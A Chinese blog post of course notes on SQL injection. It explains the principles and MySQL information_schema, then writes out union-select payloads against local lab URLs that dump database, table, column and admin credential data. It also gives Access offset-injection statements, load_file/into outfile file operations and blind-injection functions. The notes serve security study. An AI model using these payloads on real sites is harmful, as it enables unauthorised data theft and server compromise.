首页 > 其他分享 >小弟安全12-16集重要知识点

小弟安全12-16集重要知识点

时间:2023-06-06 19:01:35浏览次数:38  
标签:知识点 12 16 admin 数据库 information id select schema

 

      SQL注入原理
  • 1. 理解SQL注入,SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。由于sql语句本身的多样性,以及可用于构造sql语句的编程方法很多,因此凡是构造sql语句的步骤均存在被攻击的潜在风险。Sql注入的方式主要是直接将代码插入参数中,这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时,恶意代码就将被执行。
  • 如果web应用未对动态构造的sql语句使用的参数进行正确性审查(即便使用了参数化技术),攻击者就很可能会修改后台sql语句的构造。如果攻击者能够修改sql语句,那么该语句将与应用的用户具有相同的权限。当使用sql服务器执行与操作系统交互命令时,该进程将与执行命令的组件(如数据库服务器、应用服务器或web服务器)拥有相同的权限,这种权限的级别通常很高。如果攻击者执行以上恶意代码的插入操作成功,那么用户数据库服务器或者整个应用会遭到破坏,甚至被控制。
  • sql注入产生条件:php语句中产生可控变量 $id不能是一个固定值 代码中没有过滤语句或不严谨
0
  • $id来接收 $sql来拼接 $result来执行
0 -----数据库大概5.0以上为高版本 5.0以下为低版本 进入phpstudy命令行 mysql -uroot -proot -h 127.0.0.1 基本语句: show databases; 展示数据库 每一个数据库对应一个网站 use 数据库名字; 进入数据库 show tables;展示表 select * from 表名;查询表 加*号意思为查所有 把*改为表中有的列名就是查询那一列 必要知识点:1.在mysql5.0以上版本中 自带一个数据库名为information_schema,这个数据库存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息 2.在数据库中“.”代表下一级 例如xiaodi.user 代表xiaodi数据库下面的user表名 3.information_schema.tables记录了所有表的表 information_schema.columns 记录所有列名的表 4.table_name 表名 column_name 列名 table_schema数据库名   information_schema information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。 information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。 SCHEMATA表 当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据   查询所有数据库名 : union select 1,group_concat(schema_name),3,4 from information_schema.schemate ##table_schema是表tables和columns中的字段,schema_name是表schemata下的字段 查询指定表名下的指定列名:比如在qqyw表中查admin的列名信息 由于admin很常见 所有如果多个数据库中可能含有多个admin表 要指定数据库: union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='admin' and table_schema='数据库名字' 查询指定数据:u,p union select 1,u,p,4 from 数据库名.admin 需要指定一下 高权限注入及低权限注入 --+ 在mysql中代表注释后面的语句 #跨库查询及应用思路 information_schema 表特性,记录库名,表名,列名对应表 获取所有数据库名: http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 获取指定 qqyw 数据库名下的表名信息: union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw' 获取指定 qqyw 下的表名 admin 下的列名信息: 由于admin很常见 所有如果多个数据库中可能含有多个admin表 要指定数据库 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw' 获取指定 qqyw 下的 admin 数据 union select 1,u,p,4 from qqyw.admin 需要指定数据库 #文件读写操作 load_file():读取函数 写路径的时候用'/' '\'默认为转义字符 into outfile 或 into dumpfile :导出函数 路径获取常见方法: 报错显示,遗留文件,漏洞报错,平台配置文件,爆破等 windows: d:/wwwroot/xiaodi8/ linux: /var/www/xiaodi8 常见读取文件列表:常见写入文件问题:魔术引号开关 magic_quotes_gpc 魔术引号会对 ‘ “ / NULL进行编译 解决办法:把读取的网址进行编码 编码为Hex进行读取 #魔术引号及常见防护 #低版本注入配合读取或暴力 字典或读取 #简要明确参数类型 数字,字符,搜索,JSON 等 #简要明确请求方法 GET,POST,COOKIE,REQUEST,HTTP 头等 其中 SQL 语句干扰符号:',",%,),}等,具体需看写法 简要学习各种数据库的注入特点 access,mysql, mssql , mongoDB,postgresql, sqlite,oracle,sybase等 mssql最高权限用户-sysadmin   1、access注入 Access数据库 表名 列名 数据 Access就是数据库 一个access数据库对应一个网站 access 数据库都是存放在网站目录下,后缀格式为 mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库, access三大攻击手法 1.access注入攻击片段-联合查询法 2.access注入攻击片段-逐字猜解法 3.工具类的使用注入(推荐) Access注入攻击方式 主要有:union 注入、http header 注入、偏移注入等 2.mssql注入 参考文档:https://www.cnblogs.com/xishaonian/p/6173644.html   Access 偏移注入:解决列名获取不到的情况 查看登陆框源代码的表单值或观察 URL 特征等也可以针对表或列获取不到的情况 先爆字段--127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin 然后从后面22加* 依次删直到显示正常 127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin --显示正常 22-16=6 表名对应列的个数 一级偏移语句: 127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id) 在10后加* from后相当于一个* 22-12=10 后查看网页源代码 数据随机分布 二级偏移语句: 127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id) 再减去一个6 22-18=4 后查看网页源代码 select 查询数据 在网站应用中进行数据显示查询操作 例:select * from news where id=$id insert 插入数据 在网站应用中进行用户注册添加等操作 例:insert into news(id,url,text)--news-表名--括号内-列名 values(2,'x','$t')--值 delete 删除数据 后台管理里面删除文章删除用户等操作 例:delete from news where id=$id update 更新数据 会员或后台中心数据同步或缓存等操作 例:update user set pwd='$p' where id=2 and username='admin' order by 排序数据 一般结合表名或列名进行数据排序操作 例:select * from news order by $id 例:select id,name,price from news order by $order 重点理解: 我们可以通过以上查询方式与网站应用的关系 注入点产生地方或应用猜测到对方的 SQL 查询方式 SQL 注入报错盲注 盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断 或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类: 基于布尔的 SQL 盲注-逻辑判断 regexp,like,ascii,left,ord,mid 基于时间的 SQL 盲注-延时判断 if,sleep 基于报错的 SQL 盲注-报错回显 floor,updatexml,extractvalue https://www.jianshu.com/p/bc35f8dd4f7c 参考: like 'ro%' #判断 ro 或 ro...是否成立 regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等 if(条件,5,0) #条件成立 返回 5 反之 返回 0 sleep(5) #SQL 语句延时执行 5 秒 mid(a,b,c) #从位置 b 开始(不包含b),截取 a 字符串的 c 位长度 --mid不包含b 所以查第一个字母 从0 substr(a,b,c) #从 b 位置开始(包含b),截取字符串 a 的 c位 长度 --substr包含b 所以查第一个字母 从1 left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位 length(database())=8 #判断数据库 database()名的长度 ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97

标签:知识点,12,16,admin,数据库,information,id,select,schema
From: https://www.cnblogs.com/aijt/p/17461452.html

相关文章

  • widnows2012 r2上安装iis 报错,提示找不到原文件位置的解决办法。
    服务器win2012安装.NetFramework3.5失败的解决方法安装一个或多个角色、角色服务或功能失败。找不到源文件。请在尝试在新的“添加角色和功能”向导会话中安装角色、角色服务或功能,然后在向导的“确认”页中单击“指定备用源路径”以指定安装所需的源文件的有效位置。目标服......
  • 16进制透明度
     16进制透明度100%—FF99%—FC98%—FA97%—F796%—F595%—F294%—F093%—ED92%—EB91%—E890%—E689%—E388%—E087%—DE86%—DB85%—D984%—D683%—D482%—D181%—CF80%—CC79%—C978%—C777%—C......
  • Vue2知识点简要
    一、双向绑定原理Vue2采用的是观察者-发布订阅模式,利用Object.defineProperty实现对数据已定义属性的监控(定义观察者模式),编译DOM时解析v-model等属性以及对input框等注册事件实现UI和JS的交互(也就是注册发布订阅这模式);详细的是主要是定义一个Observe类实现对象......
  • 统信UOS系统开发笔记(三):从Qt源码编译安装之编译安装Qt5.12.8
    前言  上一篇,是使用Qt提供的安装包安装的,有些场景需要使用到自己编译的Qt,所以本篇如何在统信UOS系统上编译Qt5.12.8源码。<br>统信UOS系统版本  系统版本:  Qt源码下载  参考博文《获取下载Qt安装包,Qt源码全国网址备忘录(不用注册Qt账户,即可下载各版本Qt安装包和Qt源......
  • 软件测试day12
    编写用例面试题问题5.10    数据库测试执行 linux查看日志指令 ......
  • CENTOS 6.0 mini系统编译安装mysql 5.5.16过程
     下面的安装过程是www.centos.bz博主朱海茂的文章,在此一并谢过,看到你的这篇文章我编译成功了,谢谢。根据我的情况进行了简单的修改,请见谅。我的是centos6的系统,使用mini的安装模式,安装完成后的第一件事要配置好网络,这个过程就郁闷了我好几次,mini模式安装出来没有setup,网络只能......
  • iTOP-3588开发板Android12源码定制开发uboot开发
    uboot开发-Uboot源码是v2017.09版本。目前在该平台上已经支持RK所有主流在售芯片。支持的功能主要有:支持RKAndroid固件启动;支持AndroidAOSP固件启动;支持LinuxDistro固件启动;支持Rockchipminiloader和SPL/TPL两种Pre-loader引导;支持LVDS、EDP、MIP......
  • 585. 2016年的投资
    【题目】写一个查询语句,将2016年(TIV_2016)所有成功投资的金额加起来,保留2位小数。对于一个投保人,他在2016年成功投资的条件是:   他在2015年的投保额(TIV_2015)至少跟一个其他投保人在2015年的投保额相同。   他所在的城市必须与其他投保人都不同(也就是说......
  • GYM100212B - I Just Called...
    大模拟。首先的难度在于理解题意:打电话的地点分为镇、地区、超级地区三级。其中,一些地区是被网络连接的。电话号码的前缀由地区号+镇号组成。它们可以是不等长的,但是整个电话号码的长度是\(d\)。一个镇可能有多个镇号,不同地区的镇可以拥有相同的镇号,但地区号是唯一的。同时......
  • 算法学习day42动态规划part04-416
    packageLeetCode.DPpart04;/***416.分割等和子集*给你一个只包含正整数的非空数组nums。请你判断是否可以将这个数组分割成两个子集,使得两个子集的元素和相等。*示例:*输入:nums=[1,5,11,5]*输出:true*解释:数组可以分割成[1,5,5]和[11]。**/......